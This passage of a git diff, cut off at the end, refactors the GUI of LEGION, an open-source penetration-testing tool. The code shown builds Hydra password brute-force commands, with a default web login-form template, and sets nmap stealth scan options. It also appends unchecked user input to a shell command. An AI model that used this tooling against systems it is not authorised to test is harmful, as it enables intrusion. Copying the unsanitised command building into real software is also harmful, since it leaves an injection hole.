a/ui/configDialog.py b/ui/configDialog.py index abaa6dc1..93ce8e0c 100644 --- a/ui/configDialog.py +++ b/ui/configDialog.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -LEGION (https://govanguard.io) -Copyright (c) 2018 GoVanguard +LEGION (https://govanguard.com) +Copyright (c) 2020 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/ui/dialogs.py b/ui/dialogs.py index efd106d9..e569801b 100644 --- a/ui/dialogs.py +++ b/ui/dialogs.py @@ -1,16 +1,19 @@ #!/usr/bin/env python +""" +LEGION (https://govanguard.com) +Copyright (c) 2020 GoVanguard -''' -LEGION (https://govanguard.io) -Copyright (c) 2018 GoVanguard + This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public + License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later + version. - This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. - - This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. - - You should have received a copy of the GNU General Public License along with this program. If not, see . -''' + This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied + warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more + details. + You should have received a copy of the GNU General Public License along with this program. + If not, see . +""" import os from PyQt5.QtGui import * # for filters dialog from PyQt5.QtWidgets import * @@ -47,7 +50,8 @@ def __init__(self, ip, port, service, settings, parent=None): self.checkAddMoreOptions.stateChanged.connect(self.showMoreOptions) def setupLayoutHlayout(self): - hydraServiceConversion = {'login':'rlogin', 'ms-sql-s':'mssql', 'ms-wbt-server':'rdp', 'netbios-ssn':'smb', 'netbios-ns':'smb', 'microsoft-ds':'smb', 'postgresql':'postgres', 'vmware-auth':'vmauthd"'} + hydraServiceConversion = {'login':'rlogin', 'ms-sql-s':'mssql', 'ms-wbt-server':'rdp', 'netbios-ssn':'smb', \ + 'netbios-ns':'smb', 'microsoft-ds':'smb', 'postgresql':'postgres', 'vmware-auth':'vmauthd"'} # sometimes nmap service name is different from hydra service name if self.service is None: self.service = '' @@ -85,7 +89,7 @@ def setupLayoutHlayout(self): self.serviceComboBox.setCurrentIndex(i) break -# self.labelPath = QtWidgets.QLineEdit() # this is the extra input field to insert the path to brute force +# self.labelPath = QtWidgets.QLineEdit() # this is the extra input field to insert the path to brute force # self.labelPath.setFixedWidth(800) # self.labelPath.setText('/') @@ -144,7 +148,9 @@ def setupLayoutHlayout2(self): self.foundUsersRadio.toggle() self.warningLabel = QtWidgets.QLabel() - self.warningLabel.setText('*Note: when using form-based services from the Service menu, select the "Additional Options" checkbox and add the proper arguments for the webpage form. See Hydra documentation for extra help when targeting HTTP/HTTPS forms.') + self.warningLabel.setText('*Note: when using form-based services from the Service menu, select the \ + "Additional Options" checkbox and add the proper arguments for the webpage form. See Hydra \ + documentation for extra help when targeting HTTP/HTTPS forms.') self.warningLabel.setWordWrap(True) self.warningLabel.setAlignment(Qt.AlignRight) self.warningLabel.setStyleSheet('QLabel { color: red }') @@ -271,7 +277,7 @@ def setupLayoutHlayout4(self): def setupLayout(self): ### - self.labelPath = QtWidgets.QLineEdit() # this is the extra input field to insert the path to brute force + self.labelPath = QtWidgets.QLineEdit() # this is the extra input field to insert the path to brute force self.labelPath.setFixedWidth(800) self.labelPath.setText('-m "/login/login.html:username=^USER^&password=^PASS^&Login=Login:failed"') ### @@ -332,7 +338,8 @@ def buildHydraCommand(self, runningfolder, userlistPath, passlistPath): self.port = self.portTextinput.text() self.service = str(self.serviceComboBox.currentText()) self.command = "hydra " + str(self.ip) + " -s " + self.port + " -o " - self.outputfile = runningfolder + "/hydra/" + getTimestamp() + "-" + str(self.ip) + "-" + self.port + "-" + self.service + ".txt" + self.outputfile = runningfolder + "/hydra/" + getTimestamp() + "-" + str(self.ip) + "-" + self.port + "-" + \ + self.service + ".txt" self.command += "\"" + self.outputfile + "\"" if 'form' not in str(self.service): @@ -377,9 +384,9 @@ def buildHydraCommand(self, runningfolder, userlistPath, passlistPath): self.command += " " + self.service -# if self.labelPath.isVisible(): # append the additional field's content, if it was visible +# if self.labelPath.isVisible(): # append the additional field's content, if it was visible if self.checkAddMoreOptions.isChecked(): - self.command += " "+str(self.labelPath.text()) # TODO: sanitise this? + self.command += " "+str(self.labelPath.text()) # TODO: sanitise this? #command = "echo "+escaped_password+" > /tmp/hydra-sub.txt" #os.system(unicode(command)) @@ -394,7 +401,7 @@ def toggleRunButton(self): else: self.runButton.setText('Run') - def resetDisplay(self): # used to be able to display the tool output in both the Brute tab and the tool display panel + def resetDisplay(self): self.display.setParent(None) self.display = QtWidgets.QPlainTextEdit() self.display.setReadOnly(True) @@ -470,8 +477,9 @@ def setupLayout(self): self.setLayout(layout) def getFilters(self): - #return [self.hostsUp.isChecked(), self.hostsDown.isChecked(), self.hostsChecked.isChecked(), self.portsOpen.isChecked(), self.portsFiltered.isChecked(), self.portsClosed.isChecked(), self.portsTcp.isChecked(), self.portsUdp.isChecked(), str(self.hostKeywordText.text()).split()] - return [self.hostsUp.isChecked(), self.hostsDown.isChecked(), self.hostsChecked.isChecked(), self.portsOpen.isChecked(), self.portsFiltered.isChecked(), self.portsClosed.isChecked(), self.portsTcp.isChecked(), self.portsUdp.isChecked(), unicode(self.hostKeywordText.text()).split()] + return [self.hostsUp.isChecked(), self.hostsDown.isChecked(), self.hostsChecked.isChecked(), \ + self.portsOpen.isChecked(), self.portsFiltered.isChecked(), self.portsClosed.isChecked(), \ + self.portsTcp.isChecked(), self.portsUdp.isChecked(), unicode(self.hostKeywordText.text()).split()] def setCurrentFilters(self, filters): if not self.hostsUp.isChecked() == filters[0]: diff --git a/ui/eventfilter.py b/ui/eventfilter.py index 4e2871d4..49e33059 100644 --- a/ui/eventfilter.py +++ b/ui/eventfilter.py @@ -1,6 +1,6 @@ """ -LEGION (https://govanguard.io) -Copyright (c) 2018 GoVanguard +LEGION (https://govanguard.com) +Copyright (c) 2020 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/ui/gui.py b/ui/gui.py index 085d9e2f..060e0b50 100644 --- a/ui/gui.py +++ b/ui/gui.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ LEGION (https://govanguard.com) -Copyright (c) 2018 GoVanguard +Copyright (c) 2020 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/ui/helpDialog.py b/ui/helpDialog.py index bda0a37b..7493bee5 100644 --- a/ui/helpDialog.py +++ b/ui/helpDialog.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -LEGION (https://govanguard.io) -Copyright (c) 2018 GoVanguard +LEGION (https://govanguard.com) +Copyright (c) 2020 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/ui/observers/QtUpdateProgressObserver.py b/ui/observers/QtUpdateProgressObserver.py index fb62ea9d..cedb4639 100644 --- a/ui/observers/QtUpdateProgressObserver.py +++ b/ui/observers/QtUpdateProgressObserver.py @@ -1,6 +1,6 @@ """ -LEGION (https://govanguard.io) -Copyright (c) 2018 GoVanguard +LEGION (https://govanguard.com) +Copyright (c) 2020 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/ui/settingsDialog.py b/ui/settingsDialog.py index d2aa5c44..57083d98 100644 --- a/ui/settingsDialog.py +++ b/ui/settingsDialog.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -LEGION (https://govanguard.io) -Copyright (c) 2018 GoVanguard +LEGION (https://govanguard.com) +Copyright (c) 2020 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/ui/view.py b/ui/view.py index 1ebc2fa8..f3f07d69 100644 --- a/ui/view.py +++ b/ui/view.py @@ -1,23 +1,31 @@ #!/usr/bin/env python -''' -LEGION (https://govanguard.io) -Copyright (c) 2018 GoVanguard +""" +LEGION (https://govanguard.com) +Copyright (c) 2020 GoVanguard - This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. + This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public + License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later + version. - This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. + This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied + warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more + details. - You should have received a copy of the GNU General Public License along with this program. If not, see . -''' + You should have received a copy of the GNU General Public License along with this program. + If not, see . +""" -import sys, os, ntpath, signal, re # for file operations, to kill processes and for regex +import sys, os, ntpath, signal, re # for file operations, to kill processes and for regex from PyQt5.QtCore import * # for filters dialog from PyQt5 import QtCore from PyQt5 import QtWidgets, QtGui, QtCore +from app.ApplicationInfo import applicationInfo, getVersion from app.shell.Shell import Shell +from app.timing import getTimestamp +from ui.ViewState import ViewState from ui.gui import * from ui.dialogs import * from ui.settingsDialog import * @@ -39,33 +47,40 @@ class View(QtCore.QObject): tick = QtCore.pyqtSignal(int, name="changed") # signal used to update the progress bar - def __init__(self, ui, ui_mainwindow, shell: Shell): + def __init__(self, viewState: ViewState, ui, ui_mainwindow, shell: Shell): QtCore.QObject.__init__(self) self.ui = ui - self.ui_mainwindow = ui_mainwindow # TODO: retrieve window dimensions/location from settings + self.ui_mainwindow = ui_mainwindow # TODO: retrieve window dimensions/location from settings self.bottomWindowSize = 100 self.leftPanelSize = 300 - self.ui.splitter_2.setSizes([250, self.bottomWindowSize]) # set better default size for bottom panel + self.ui.splitter_2.setSizes([250, self.bottomWindowSize]) # set better default size for bottom panel self.qss = None self.processesTableViewSort = 'desc' self.processesTableViewSortColumn = 'status' self.toolsTableViewSort = 'desc' self.toolsTableViewSortColumn = 'id' self.shell = shell + self.viewState = viewState - def setController(self, controller): # the view needs access to controller methods to link gui actions with real actions + # the view needs access to controller methods to link gui actions with real actions + def setController(self, controller): self.controller = controller def startOnce(self): - self.fixedTabsCount = self.ui.ServicesTabWidget.count() # the number of fixed host tabs (services, scripts, information, notes) + # the number of fixed host tabs (services, scripts, information, notes) + self.fixedTabsCount = self.ui.ServicesTabWidget.count() self.hostInfoWidget = HostInformationWidget(self.ui.InformationTab) self.filterdialog = FiltersDialog(self.ui.centralwidget) self.importProgressWidget = ProgressWidget('Importing nmap..', self.ui.centralwidget) self.adddialog = AddHostsDialog(self.ui.centralwidget) self.settingsWidget = AddSettingsDialog(self.shell, self.ui.centralwidget) - self.helpDialog = HelpDialog(self.controller.name, self.controller.author, self.controller.copyright, self.controller.links, self.controller.emails, self.controller.version, self.controller.build, self.controller.update, self.controller.license, self.controller.desc, self.controller.smallIcon, self.controller.bigIcon, qss = self.qss, parent = self.ui.centralwidget) + self.helpDialog = HelpDialog(applicationInfo["name"], applicationInfo["author"], applicationInfo["copyright"], + applicationInfo["links"], applicationInfo["emails"], applicationInfo["version"], + applicationInfo["build"], applicationInfo["update"], applicationInfo["license"], + applicationInfo["desc"], applicationInfo["smallIcon"], applicationInfo["bigIcon"], + qss = self.qss, parent = self.ui.centralwidget) self.configDialog = ConfigDialog(controller = self.controller, qss = self.qss, parent = self.ui.centralwidget) self.ui.HostsTableView.setSelectionMode(3) @@ -77,26 +92,10 @@ def startOnce(self): # initialisations (globals, etc) def start(self, title='*untitled'): - self.dirty = False # to know if the project has been saved - self.firstSave = True # to know if we should use the save as dialog (should probably be False until we add/import a host) - self.hostTabs = dict() # to keep track of which tabs should be displayed for each host - self.bruteTabCount = 1 # to keep track of the numbering of the bruteforce tabs (incremented when a new tab is added) - - self.filters = Filters() # to choose what to display in each panel - + self.viewState = ViewState() self.ui.keywordTextInput.setText('') # clear keyword filter - self.lastHostIdClicked = '' # TODO: check if we can get rid of this one. - self.ip_clicked = '' # useful when updating interfaces (serves as memory) - self.service_clicked = '' # useful when updating interfaces (serves as memory) - self.tool_clicked = '' # useful when updating interfaces (serves as memory) - self.script_clicked = '' # useful when updating interfaces (serves as memory) - self.tool_host_clicked = '' # useful when updating interfaces (serves as memory) - self.lazy_update_hosts = False # these variables indicate that the corresponding table needs to be updated. - self.lazy_update_services = False # 'lazy' means we only update a table at the last possible minute - before the user needs to see it - self.lazy_update_tools = False - self.menuVisible = False # to know if a context menu is showing (important to avoid disrupting the user) - self.ProcessesTableModel = None # fixes bug when sorting processes for the first time + self.ProcessesTableModel = None # fixes bug when sorting processes for the first time self.ToolsTableModel = None self.setupProcessesTableView() self.setupToolsTableView() @@ -107,7 +106,7 @@ def start(self, title='*untitled'): self.initTables() # initialise all tables self.updateInterface() - self.restoreToolTabWidget(True) # True means we want to show the original textedit + self.restoreToolTabWidget(True) # True means we want to show the original textedit self.updateScriptsOutputView('') # update the script output panel (right) self.updateToolHostsTableView('') self.ui.MainTabWidget.setCurrentIndex(0) # display scan tab by default @@ -116,7 +115,7 @@ def start(self, title='*untitled'): self.ui.BottomTabWidget.setCurrentIndex(0) # display Log tab by default self.ui.BruteTabWidget.setTabsClosable(True) # sets all tabs as closable in bruteforcer - self.ui.ServicesTabWidget.setTabsClosable(True) # hide the close button (cross) from the fixed tabs + self.ui.ServicesTabWidget.setTabsClosable(True) # hide the close button (cross) from the fixed tabs self.ui.ServicesTabWidget.tabBar().setTabButton(0, QTabBar.RightSide, None) self.ui.ServicesTabWidget.tabBar().setTabButton(1, QTabBar.RightSide, None) @@ -124,12 +123,13 @@ def start(self, title='*untitled'): self.ui.ServicesTabWidget.tabBar().setTabButton(3, QTabBar.RightSide, None) self.ui.ServicesTabWidget.tabBar().setTabButton(4, QTabBar.RightSide, None) - self.resetBruteTabs() # clear brute tabs (if any) and create default brute tab + self.resetBruteTabs() # clear brute tabs (if any) and create default brute tab self.displayToolPanel(False) self.displayScreenshots(False) - self.displayAddHostsOverlay(True) # displays an overlay over the hosttableview saying 'click here to add host(s) to scope' + # displays an overlay over the hosttableview saying 'click here to add host(s) to scope' + self.displayAddHostsOverlay(True) - def startConnections(self): # signal initialisations (signals/slots, actions, etc) + def startConnections(self): # signal initialisations (signals/slots, actions, etc) ### MENU ACTIONS ### self.connectCreateNewProject() self.connectOpenExistingProject() @@ -152,7 +152,7 @@ def startConnections(self): # signal ini self.connectAddHostClick() self.connectSwitchTabClick() # to detect changing tabs (on left panel) self.connectSwitchMainTabClick() # to detect changing top level tabs - self.connectTableDoubleClick() # for double clicking on host (it redirects to the host view) + self.connectTableDoubleClick() # for double clicking on host (it redirects to the host view) self.connectProcessTableHeaderResize() ### CONTEXT MENUS ### self.connectHostsTableContextMenu() @@ -175,10 +175,12 @@ def startConnections(self): # signal ini #################### AUXILIARY #################### - def initTables(self): # this function prepares the default settings for each table + def initTables(self): # this function prepares the default settings for each table # hosts table (left) - headers = ["Id", "OS", "Accuracy", "Host", "IPv4", "IPv6", "Mac", "Status", "Hostname", "Vendor", "Uptime", "Lastboot", "Distance", "CheckedHost", "State", "Count", "Closed"] - setTableProperties(self.ui.HostsTableView, len(headers), [0, 2, 4, 5, 6, 7, 8, 9, 10 , 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24]) + headers = ["Id", "OS", "Accuracy", "Host", "IPv4", "IPv6", "Mac", "Status", "Hostname", "Vendor", "Uptime", + "Lastboot", "Distance", "CheckedHost", "State", "Count", "Closed"] + setTableProperties(self.ui.HostsTableView, len(headers), [0, 2, 4, 5, 6, 7, 8, 9, 10 , 11, 12, 13, 14, 15, 16, + 17, 18, 19, 20, 21, 22, 23, 24]) self.ui.HostsTableView.horizontalHeader().resizeSection(1, 30) # service names table (left) @@ -186,20 +188,24 @@ def initTables(self): # this funct setTableProperties(self.ui.ServiceNamesTableView, len(headers)) # cves table (right) - headers = ["CVE Id", "Severity", "Product", "Version", "CVE URL", "Source", "ExploitDb ID", "ExploitDb", "ExploitDb URL"] + headers = ["CVE Id", "Severity", "Product", "Version", "CVE URL", "Source", "ExploitDb ID", "ExploitDb", + "ExploitDb URL"] setTableProperties(self.ui.CvesTableView, len(headers)) self.ui.CvesTableView.setSortingEnabled(True) # tools table (left) - headers = ["Progress", "Display", "Pid", "Tool", "Tool", "Host", "Port", "Protocol", "Command", "Start time", "OutputFile", "Output", "Status"] + headers = ["Progress", "Display", "Pid", "Tool", "Tool", "Host", "Port", "Protocol", "Command", "Start time", + "OutputFile", "Output", "Status"] setTableProperties(self.ui.ToolsTableView, len(headers), [0, 1, 2, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13]) # service table (right) - headers = ["Host", "Port", "Port", "Protocol", "State", "HostId", "ServiceId", "Name", "Product", "Version", "Extrainfo", "Fingerprint"] + headers = ["Host", "Port", "Port", "Protocol", "State", "HostId", "ServiceId", "Name", "Product", "Version", + "Extrainfo", "Fingerprint"] setTableProperties(self.ui.ServicesTableView, len(headers), [0, 1, 5, 6, 8, 10, 11]) # ports by service (right) - headers = ["Host", "Port", "Port", "Protocol", "State", "HostId", "ServiceId", "Name", "Product", "Version", "Extrainfo", "Fingerprint"] + headers = ["Host", "Port", "Port", "Protocol", "State", "HostId", "ServiceId", "Name", "Product", "Version", + "Extrainfo", "Fingerprint"] setTableProperties(self.ui.ServicesTableView, len(headers), [2, 5, 6, 8, 10, 11]) self.ui.ServicesTableView.horizontalHeader().resizeSection(0, 130) # resize IP @@ -208,12 +214,14 @@ def initTables(self): # this funct setTableProperties(self.ui.ScriptsTableView, len(headers), [0, 3]) # tool hosts table (right) - headers = ["Progress", "Display", "Pid", "Name", "Action", "Target", "Port", "Protocol", "Command", "Start time", "OutputFile", "Output", "Status"] + headers = ["Progress", "Display", "Pid", "Name", "Action", "Target", "Port", "Protocol", "Command", + "Start time", "OutputFile", "Output", "Status"] setTableProperties(self.ui.ToolHostsTableView, len(headers), [0, 1, 2, 3, 4, 7, 8, 9, 10, 11, 12]) self.ui.ToolHostsTableView.horizontalHeader().resizeSection(5,150) # default width for Host column # process table - headers = ["Progress", "Elapsed", "Est. Remaining", "Display", "Pid", "Name", "Tool", "Host", "Port", "Protocol", "Command", "Start time", "OutputFile", "Output", "Status"] + headers = ["Progress", "Elapsed", "Est. Remaining", "Display", "Pid", "Name", "Tool", "Host", "Port", + "Protocol", "Command", "Start time", "OutputFile", "Output", "Status"] setTableProperties(self.ui.ProcessesTableView, len(headers), [1, 2, 3, 4, 5, 8, 9, 10, 13, 14, 16]) self.ui.ProcessesTableView.setSortingEnabled(True) @@ -221,21 +229,24 @@ def setMainWindowTitle(self, title): self.ui_mainwindow.setWindowTitle(str(title)) def yesNoDialog(self, message, title): - dialog = QtWidgets.QMessageBox.question(self.ui.centralwidget, title, message, QtWidgets.QMessageBox.Yes | QtWidgets.QMessageBox.No, QtWidgets.QMessageBox.No) + dialog = QtWidgets.QMessageBox.question(self.ui.centralwidget, title, message, + QtWidgets.QMessageBox.Yes | QtWidgets.QMessageBox.No, + QtWidgets.QMessageBox.No) return dialog - def setDirty(self, status=True): # this function is called for example when the user edits notes - self.dirty = status + def setDirty(self, status=True): # this function is called for example when the user edits notes + self.viewState.dirty = status title = '' - if self.dirty: + if self.viewState.dirty: title = '*' if self.controller.isTempProject(): title += 'untitled' else: title += ntpath.basename(str(self.controller.getProjectName())) - self.setMainWindowTitle(self.controller.name + ' ' + self.controller.getVersion() + ' - ' + title + ' - ' + self.controller.getCWD()) + self.setMainWindowTitle(applicationInfo["name"] + ' ' + getVersion() + ' - ' + title + ' - ' + + self.controller.getCWD()) #################### ACTIONS #################### @@ -252,7 +263,8 @@ def saveProcessHeaderWidth(self, index, oldSize, newSize): def dealWithRunningProcesses(self, exiting=False): if len(self.controller.getRunningProcesses()) > 0: - message = "There are still processes running. If you continue, every process will be terminated. Are you sure you want to continue?" + message = "There are still processes running. If you continue, every process will be terminated. " + \ + "Are you sure you want to continue?" reply = self.yesNoDialog(message, 'Confirm') if not reply == QtWidgets.QMessageBox.Yes: @@ -264,8 +276,9 @@ def dealWithRunningProcesses(self, exiting=False): return True - def dealWithCurrentProject(self, exiting=False): # returns True if we can proceed with: creating/opening a project or exiting - if self.dirty: # if there are unsaved changes, show save dialog first + # returns True if we can proceed with: creating/opening a project or exiting + def dealWithCurrentProject(self, exiting=False): + if self.viewState.dirty: # if there are unsaved changes, show save dialog first if not self.saveOrDiscard(): # if the user canceled, stop return False @@ -296,12 +309,16 @@ def connectOpenExistingProject(self): def openExistingProject(self): if self.dealWithCurrentProject(): - filename = QtWidgets.QFileDialog.getOpenFileName(self.ui.centralwidget, 'Open project', self.controller.getCWD(), filter='Legion session (*.legion);; Sparta session (*.sprt)')[0] + filename = QtWidgets.QFileDialog.getOpenFileName( + self.ui.centralwidget, 'Open project', self.controller.getCWD(), + filter='Legion session (*.legion);; Sparta session (*.sprt)')[0] if not filename == '': # check for permissions if not os.access(filename, os.R_OK) or not os.access(filename, os.W_OK): log.info('Insufficient permissions to open this file.') - reply = QtWidgets.QMessageBox.warning(self.ui.centralwidget, 'Warning', "You don't have the necessary permissions on this file.", "Ok") + QtWidgets.QMessageBox.warning(self.ui.centralwidget, 'Warning', + "You don't have the necessary permissions on this file.", + "Ok") return if '.legion' in str(filename): @@ -310,8 +327,9 @@ def openExistingProject(self): projectType = 'sparta' self.controller.openExistingProject(filename, projectType) - self.firstSave = False # overwrite this variable because we are opening an existing file - self.displayAddHostsOverlay(False) # do not show the overlay because the hosttableview is already populated + self.viewState.firstSave = False # overwrite this variable because we are opening an existing file + # do not show the overlay because the hosttableview is already populated + self.displayAddHostsOverlay(False) else: log.info('No file chosen..') @@ -320,11 +338,11 @@ def connectSaveProject(self): def saveProject(self): self.ui.statusbar.showMessage('Saving..') - if self.firstSave: + if self.viewState.firstSave: self.saveProjectAs() else: log.info('Saving project..') - self.controller.saveProject(self.lastHostIdClicked, self.ui.NotesTextEdit.toPlainText()) + self.controller.saveProject(self.viewState.lastHostIdClicked, self.ui.NotesTextEdit.toPlainText()) self.setDirty(False) self.ui.statusbar.showMessage('Saved!', msecs=1000) @@ -337,14 +355,18 @@ def saveProjectAs(self): self.ui.statusbar.showMessage('Saving..') log.info('Saving project..') - self.controller.saveProject(self.lastHostIdClicked, self.ui.NotesTextEdit.toPlainText()) + self.controller.saveProject(self.viewState.lastHostIdClicked, self.ui.NotesTextEdit.toPlainText()) - filename = QtWidgets.QFileDialog.getSaveFileName(self.ui.centralwidget, 'Save project as', self.controller.getCWD(), filter='Legion session (*.legion)', options=QtWidgets.QFileDialog.DontConfirmOverwrite)[0] + filename = QtWidgets.QFileDialog.getSaveFileName(self.ui.centralwidget, 'Save project as', + self.controller.getCWD(), filter='Legion session (*.legion)', + options=QtWidgets.QFileDialog.DontConfirmOverwrite)[0] while not filename =='': - if not os.access(ntpath.dirname(str(filename)), os.R_OK) or not os.access(ntpath.dirname(str(filename)), os.W_OK): + if not os.access(ntpath.dirname(str(filename)), os.R_OK) or not os.access( + ntpath.dirname(str(filename)), os.W_OK): log.info('Insufficient permissions on this folder.') - reply = QtWidgets.QMessageBox.warning(self.ui.centralwidget, 'Warning', "You don't have the necessary permissions on this folder.") + reply = QtWidgets.QMessageBox.warning(self.ui.centralwidget, 'Warning', + "You don't have the necessary permissions on this folder.") else: if self.controller.saveProjectAs(filename): @@ -353,17 +375,22 @@ def saveProjectAs(self): if not str(filename).endswith('.legion'): filename = str(filename) + '.legion' msgBox = QtWidgets.QMessageBox() - reply = msgBox.question(self.ui.centralwidget, 'Confirm', "A file named \""+ntpath.basename(str(filename))+"\" already exists. Do you want to replace it?", QtWidgets.QMessageBox.Abort | QtWidgets.QMessageBox.Save) + reply = msgBox.question(self.ui.centralwidget, 'Confirm', + "A file named \""+ntpath.basename(str(filename))+"\" already exists. " + + "Do you want to replace it?", + QtWidgets.QMessageBox.Abort | QtWidgets.QMessageBox.Save) if reply == QtWidgets.QMessageBox.Save: self.controller.saveProjectAs(filename, 1) # replace break - filename = QtWidgets.QFileDialog.getSaveFileName(self.ui.centralwidget, 'Save project as', '.', filter='Legion session (*.legion)', options=QtWidgets.QFileDialog.DontConfirmOverwrite)[0] + filename = QtWidgets.QFileDialog.getSaveFileName(self.ui.centralwidget, 'Save project as', '.', + filter='Legion session (*.legion)', + options=QtWidgets.QFileDialog.DontConfirmOverwrite)[0] if not filename == '': self.setDirty(False) - self.firstSave = False + self.viewState.firstSave = False self.ui.statusbar.showMessage('Saved!', msecs=1000) self.controller.updateOutputFolder() log.info('Saved!') @@ -371,7 +398,10 @@ def saveProjectAs(self): log.info('No file chosen..') def saveOrDiscard(self): - reply = QtWidgets.QMessageBox.question(self.ui.centralwidget, 'Confirm', "The project has been modified. Do you want to save your changes?", QtWidgets.QMessageBox.Save | QtWidgets.QMessageBox.Discard | QtWidgets.QMessageBox.Cancel, QtWidgets.QMessageBox.Save) + reply = QtWidgets.QMessageBox.question( + self.ui.centralwidget, 'Confirm', "The project has been modified. Do you want to save your changes?", + QtWidgets.QMessageBox.Save | QtWidgets.QMessageBox.Discard | QtWidgets.QMessageBox.Cancel, + QtWidgets.QMessageBox.Save) if reply == QtWidgets.QMessageBox.Save: self.saveProject() @@ -414,7 +444,13 @@ def callAddHosts(self): hostList = hostListStr.split(';') hostList = [hostEntry for hostEntry in hostList if len(hostEntry) > 0] - hostAddOptionControls = [self.adddialog.rdoScanOptTcpConnect, self.adddialog.rdoScanOptSynStealth, self.adddialog.rdoScanOptFin, self.adddialog.rdoScanOptNull, self.adddialog.rdoScanOptXmas, self.adddialog.rdoScanOptPingTcp, self.adddialog.rdoScanOptPingUdp, self.adddialog.rdoScanOptPingDisable, self.adddialog.rdoScanOptPingRegular, self.adddialog.rdoScanOptPingSyn, self.adddialog.rdoScanOptPingAck, self.adddialog.rdoScanOptPingTimeStamp, self.adddialog.rdoScanOptPingNetmask, self.adddialog.chkScanOptFragmentation] + hostAddOptionControls = [self.adddialog.rdoScanOptTcpConnect, self.adddialog.rdoScanOptSynStealth, + self.adddialog.rdoScanOptFin, self.adddialog.rdoScanOptNull, + self.adddialog.rdoScanOptXmas, self.adddialog.rdoScanOptPingTcp, + self.adddialog.rdoScanOptPingUdp, self.adddialog.rdoScanOptPingDisable, + self.adddialog.rdoScanOptPingRegular, self.adddialog.rdoScanOptPingSyn, + self.adddialog.rdoScanOptPingAck, self.adddialog.rdoScanOptPingTimeStamp, + self.adddialog.rdoScanOptPingNetmask, self.adddialog.chkScanOptFragmentation] nmapOptions = [] if self.adddialog.rdoModeOptEasy.isChecked(): @@ -430,12 +466,17 @@ def callAddHosts(self): nmapOptions.append(nmapOptionValue) nmapOptions.append(str(self.adddialog.txtCustomOptList.text())) for hostListEntry in hostList: - self.controller.addHosts(targetHosts = hostListEntry, runHostDiscovery = self.adddialog.chkDiscovery.isChecked(), runStagedNmap = self.adddialog.chkNmapStaging.isChecked(), nmapSpeed = self.adddialog.sldScanTimingSlider.value(), scanMode = scanMode, nmapOptions = nmapOptions) - self.adddialog.cmdAddButton.clicked.disconnect() # disconnect all the signals from that button + self.controller.addHosts(targetHosts=hostListEntry, + runHostDiscovery=self.adddialog.chkDiscovery.isChecked(), + runStagedNmap=self.adddialog.chkNmapStaging.isChecked(), + nmapSpeed=self.adddialog.sldScanTimingSlider.value(), + scanMode=scanMode, + nmapOptions=nmapOptions) + self.adddialog.cmdAddButton.clicked.disconnect() # disconnect all the signals from that button else: self.adddialog.spacer.changeSize(0,0) self.adddialog.validationLabel.show() - self.adddialog.cmdAddButton.clicked.disconnect() # disconnect all the signals from that button + self.adddialog.cmdAddButton.clicked.disconnect() # disconnect all the signals from that button self.adddialog.cmdAddButton.clicked.connect(self.callAddHosts) ### @@ -445,12 +486,15 @@ def connectImportNmap(self): def importNmap(self): self.ui.statusbar.showMessage('Importing nmap xml..', msecs=1000) - filename = QtWidgets.QFileDialog.getOpenFileName(self.ui.centralwidget, 'Choose nmap file', self.controller.getCWD(), filter='XML file (*.xml)')[0] - log.info('Importing nmap xml from {0}...'.format(str(filename))) + filename = QtWidgets.QFileDialog.getOpenFileName(self.ui.centralwidget, 'Choose nmap file', + self.controller.getCWD(), filter='XML file (*.xml)')[0] + log.info('Importing nmap xml from {0}...'.format(str(filename))) if not filename == '': if not os.access(filename, os.R_OK): # check for read permissions on the xml file log.info('Insufficient permissions to read this file.') - reply = QtWidgets.QMessageBox.warning(self.ui.centralwidget, 'Warning', "You don't have the necessary permissions to read this file.", "Ok") + QtWidgets.QMessageBox.warning(self.ui.centralwidget, 'Warning', + "You don't have the necessary permissions to read this file.", + "Ok") return self.importProgressWidget.reset('Importing nmap..') @@ -477,7 +521,7 @@ def applySettings(self): self.settingsWidget.hide() def cancelSettings(self): - log.info('DEBUG: cancel button pressed') # LEO: we can use this later to test ESC button once implemented. + log.info('DEBUG: cancel button pressed') # LEO: we can use this later to test ESC button once implemented. self.settingsWidget.hide() self.controller.cancelSettings() @@ -491,7 +535,7 @@ def connectAppExit(self): self.ui.actionExit.triggered.connect(self.appExit) def appExit(self): - if self.dealWithCurrentProject(True): # the parameter indicates that we are exiting the application + if self.dealWithCurrentProject(True): # the parameter indicates that we are exiting the 